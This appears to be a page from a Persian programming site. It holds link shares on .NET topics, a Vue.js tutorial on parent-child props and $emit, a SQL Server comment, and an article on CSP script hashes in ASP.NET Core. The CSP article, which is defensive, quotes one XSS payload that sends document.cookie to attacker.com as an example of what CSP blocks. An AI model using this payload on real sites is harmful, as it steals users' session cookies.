اشتراک‌ها
نگارش نهایی ASP.NET Core 2.2 منتشر شد

The main theme for this ASP.NET Core release was to improve developer productivity and platform functionality with regard to building Web/HTTP APIs. As usual, we made some performance improvements as well.  

نگارش نهایی ASP.NET Core 2.2 منتشر شد
اشتراک‌ها
توصیف مهندسین نرم افزار (SWE)

چه تفاوتی بین "مهندس نرم افزار" و "مهندس ارشد نرم افزار" وجود دارد؟

آیا SWE ارشد در یک شرکت بهتر از SWE ساده در شرکت دیگر است؟

مشکل عناوینی مانند: "SWE" و "Senior SWE" این است که هیچ قرارداد استانداردی در مورد معنای آنها وجود ندارد. از نظر فنی، هرکسی می‌تواند از هر عنوانی استفاده کند! 

توصیف مهندسین نرم افزار (SWE)
اشتراک‌ها
بررسی روش ساخت برنامه‌های چندمستاجری در ASP.NET Core

Jon P. Smith, author of Entity Framework Core in Action, explains what a multi-tenant app is and then digs into the things you need to do to make a multi-tenant app using ASP.NET Core with EF Core.

00:00 Countdown
02:19 Introduction and Community Links
18:25 What are multi-tenant web applications?
21:14 Single level multi-tenant demo
29:00 Partitioning tenants with EF Core QueryFilter
38:00 Admin features: creating users and tenants
43:00 Q&A
43:00 Hierarchical multi-tenant
59:00 How to get started
1:06:30 Database sharding and connection string management
1:16:30 Scaling with Azure SQL Elastic Pools
1:19:00 Conclusion
 

بررسی روش ساخت برنامه‌های چندمستاجری در ASP.NET Core
مطالب
ارتباط بین کامپوننت‌ها در Vue.js - قسمت اول ارتباط بین Parent و Child

برنامه‌های Vue.jsای از چندین کامپوننت برای بخش بندی هر قسمت تشکیل میشوند و این بخش بندی برای مدیریت بهتر تغییرات، خطایابی، نگهداری و استفاده مجدد (reusable) می‌باشد. فرض کنید تعدادی کامپوننت در برنامه داریم و اطلاعات این کامپوننت‌ها بهم وابسته می‌باشند؛ بطور مثال یک کامپوننت انتخاب دسته بندی را داریم و به محض تغییر این مقدار، میخواهیم لیستی از محصولات پیشنهادی یا پرفروشِ آن دسته بندی، در کامپوننت پایین صفحه نمایش داده شود و یا خرید یک محصول را در نظر بگیرید که بلافاصله محتوای نمایش سبد خرید، بروزرسانی شود. در این مقاله ارتباط از نوع Parent و Child بین کامپوننت‌ها بررسی میشود.

 نکته: برای ارسال اطلاعات از کامپوننتِ Parent به Child، از  Props استفاده میشود و برای ارتباط از Child به Parent، از emit$ استفاده میشود.


یک برنامه Vue.js با نام vue-communication-part-1 ایجاد نمایید. سپس دو کامپوننت را با نام‌های Parent و Child، در پوشه components ایجاد کنید:



در کامپوننت Parent، یک تابع با نام increase وجود دارد که مقدار متغیر parentCounter را افزایش میدهد. چون قصد داریم مقدار متغیر parentCounter در کامپوننت Child نیز بروزرسانی شود، آن را به کامپوننت Child پاس میدهیم:

<Child :childCounter="parentCounter"/>

محتوای کامپوننت Parent:

<template>
  <div>
    <div>
      <h2>Parent Component</h2>
      <!-- را نمایش میدهید parentCounter مقدار -->
      <h1>{{ parentCounter }}</h1>
      <button @click="increase">Increase Parent</button>
    </div>
    <div>
      <!-- پاس میدهید Child در کامپوننت childCounter را به پراپرتی parentCounter مقدار -->
      <!--از طریق  decreaseParent سبب اتصال و فراخوانی تابع  @callDecreaseParent به  decreaseParent با انتساب -->
      <!-- میشود Child  در کامپوننت  callDecreaseMethodInParent تابع   -->
      <Child :childCounter="parentCounter" @callDecreaseParent="decreaseParent"/>
    </div>
  </div>
</template>

<script>
//برای استفاده در کامپوننت جاری Child ایمپورت کردن کامپوننت
import Child from "./Child.vue";

export default {
  // در این بخش متغیرهای مورد نیاز کامپوننت را تعریف میکنیم
  data() {
    return {
      parentCounter: 0
    };
  },
  components: {
    // میتوان آرایه ای از کامپوننت‌ها را در یک کامپوننت استفاده نمود
    // در این مثال فقط از یک کامپوننت استفاده شده
    Child
  },
  methods: {
    //را یک واحد افزایش میدهد parentCounter این متد مقدار
    increase() {
      this.parentCounter++;
    },
    decreaseParent() {
      this.parentCounter--;
    }
  }
};
</script>

<style>
.parent-block,
.child {
  text-align: center;
  margin: 20px;
  padding: 20px;
  border: 2px gray solid;
}
</style>


در کامپوننت Child  قصد دریافت مقدار پراپرتیِ childCounter را داریم که از طریق کامپوننت Parent، مقدارش تنظیم و بروزرسانی میشود. به این منظور در قسمت props  یک متغیر بنام childCounter را ایجاد میکنیم. 

Data is the private memory of each component where you can store any variables you need. Props are how you pass this data from a parent component down to a child component

محتوای کامپوننت Child

<template>
  <div>
    <h3>Child Component</h3>
    <!-- را نمایش میدهید childCounter مقدار -->
    <h3>{{ childCounter }}</h3>
    <button @click="increase">Increase Me</button>
    <button @click="callDecreaseMethodInParent">Call Decrease Method In Parent</button>
  </div>
</template>

<script>
export default {
  // استفاده میشود Child به  Parent برای ارتباط بین کامپوننت  props از
  props: {
    childCounter: Number
  },
  data() {
    return {};
  },
  methods: {
    //را یک واحد افزایش میدهد childCounter این متد مقدار
    increase() {
      this.childCounter++;
    },
    // فراخوانی میکند Parent را در کامپوننت decreaseParent تابع
    callDecreaseMethodInParent() {
      this.$emit("callDecreaseParent");
    }
  }
};
</script>


محتوای کامپوننت اصلی برنامه  App.vue:

<template>
  <div id="app">
    <img alt="Vue logo" src="./assets/logo.png">
    <parent></parent>
  </div>
</template>

<script>
import Parent from "./components/Parent.vue";

export default {
  name: "app",
  components: {
    parent: Parent
  }
};
</script>
<style>
#app {
  width: 50%;
  margin: 0 auto;
  text-align: center;
}
</style>

اکنون برنامه را با دستور زیر اجرا کنید:

npm run serve

بعد از اجرای دستور فوق، روی گزینه زیر ctrl+click میکنیم تا نتیجه کار در مرورگر قابل رویت باشد: 

نمایش صفحه زیر نشان دهنده‌ی درستی انجام کار تا اینجا است:

اکنون روی دکمه‌ی Increase Parent کلیک میکنیم. همزمان مقدار شمارشگر، در هر دو کامپوننت Parent و Child افزایش می‌یابد و این بدین معناست که با استفاده از Props میتوانیم داده‌های دلخواهی را در کامپوننت Child بروز رسانی کنیم. هر زمانی روی دکمه‌ی Increase Me در کامپوننت Child کلیک کنیم، فقط به مقدار شمارشگر درون خودش اضافه میشود و تاثیری را بر شمارشگر Parent ندارد. در واقع یک کپی از مقدار شمارشگر Parent را درون خود دارد.

در ادامه قصد داریم بروزرسانی داده را از Child به Parent انجام دهیم. برای انجام اینکار از emit$ استفاده میکنیم. در دیکشنری Cambridge Dictionary معنی emit به ارسال یک سیگنال ترجمه شده‌است. در واقع بااستفاده از emit میتوانیم یک تابع را در کامپوننت Parent فراخوانی کنیم و در آن تابع، کد دلخواهی را برای دستکاری داده‌ها مینویسیم.

در تابع callDecreaseMethodInParent در کامپوننت Child، کد زیر را قرار میدهیم:

 this.$emit("callDecreaseParent");

هر زمان‌که این تابع اجرا شود، یک سیگنال از طریق کد زیر برای کامپوننت Parent ارسال میشود:

      <Child  @callDecreaseParent="decreaseParent"/>

در کد فوق مشخص شده که با ارسال سیگنال callDecreaseParent، تابع decreaseParent در کامپوننت Parent فراخوانی شود.


کد کامل مثال بالا 

نکته:  برای اجرای برنامه و دریافت پکیج‌های مورد استفاده در مثال جاری، نیاز است دستور زیر را اجرا کنید: 

npm install



چند نکته

this.$emit 
//dispatches an event to its parent component

کد فوق سبب اجرای یک تابع در کامپوننتِ Parent خودش میشود.

this.$parent
// gives you a reference to the parent component

ارجاعی به کامپوننت Parent خودش را فراهم میکند:

this.$root
// gives you a reference to the root component

زمانیکه چندین کامپوننت تو در تو را داریم یا به اصطلاح  nested component، سبب ارجاعی به بالاترین کامپوننت Parent میگردد.

this.$parent.$emit
// will make the parent dispatch the event to its parent

سبب اجرای تابعِ Parent کامپوننتِ Parent جاری میشود. به بیان ساده اگر این کد در کامپوننت فرزند فراخوانی شود، سبب اجرای تابعی در کامپوننت پدربزرگِ خود میشود.

this.$root.$emit
// will make the root dispatch the event to itself

سبب اجرای تابعی در کامپوننت root میشود (بالاترین کامپوننتِ پدرِ کامپوننت جاری).


تابع emit$ دارای آگومان‌های دیگری برای پاس دادن اطلاعات از کامپوننت Child به Parent می‌باشد؛ مثل زمانیکه قصد دارید اطلاعاتی در مورد محصول خریداری شده را به سبد خرید پاس دهید. در مثال دیگری که در ادامه قرار میگیرد نحوه کارکرد ارتباط کامپوننت Parent و Child را در یک برنامه بهتر تجربه میکنیم.

پیاده سازی یک سبد خرید ساده با روش مقاله‌ی جاری 

نکته:  برای اجرای برنامه و دریافت پکیج‌های مورد استفاده در مثال جاری، نیاز است دستور زیر را اجرا کنید:  

npm install

همچنین نیاز هست تا پکیچ node-sass را با دستور زیر برای این مثال نصب کنید.

npm install node-sass

اشتراک‌ها
ساخت یک Microservice با NET 5.

This video shows how to create a microservice from scratch using .NET 5. You will learn:
• How to create a .NET 5 microservice from scratch
• Build and debug a .NET 5 project in VS Code
• Interact with your microservice endpoints via Open API and Postman
• Keep configuration and secrets separate from your service code
• Simplify http requests to external endpoints
• Deal with transient errors on external services
• Report the health of the service and its dependencies
• Produce logs suited for a microservice environment 

ساخت یک Microservice با NET 5.
اشتراک‌ها
versin control بانک های اطلاعاتی

By placing under source control everything we need to describe any version of a database, we make it much easier to achieve consistent database builds and releases, to find out who made which changes and why, and to access all database support materials. Matthew Skelton explains how to make sure your version control system fully supports all phases of the database lifecycle, from governance, development, delivery and through to operations. 

versin control بانک های اطلاعاتی
اشتراک‌ها
آنگولار متریال 1 منتشر شد

What makes 1.0 different from our pre-release builds?

  • Stable CSS and API surface.We're now confident in the API for these components and do not plan any breaking changes.
  • Supported platforms: Tested on IE 11+, Chrome, Safari, Firefox, Android 4.2+ and iOS 8+.
  • Angular 1.5-ready. You can use AngularJS 1.3 and later, but as soon as you update to the new release, you can be confident that ngMaterial components will continue to work as expected. 
آنگولار متریال 1 منتشر شد
نظرات مطالب
ایجاد جداول بهینه سازی شده برای حافظه در SQL Server 2014
- پیام « it is not supported » به معنای عدم پشتیبانی این قابلیت در نگارش SQL Server ایی است که از آن استفاده می‌کنید.
- و فقط در نگارش‌های  SQL Server 2014 Enterprise, Developer, and Evaluation editions پشتیبانی می‌شود. برای مثال نگارش Standard این قابلیت را ندارد.
- هنگام نصب هم باید گزینه‌ی «Database Engine Services -> install support for In-Memory OLTP engine» انتخاب شده باشد.
مطالب
بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
- «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
 Content-Security-Policy: default-src 'self'
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.
همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>
و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...
این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block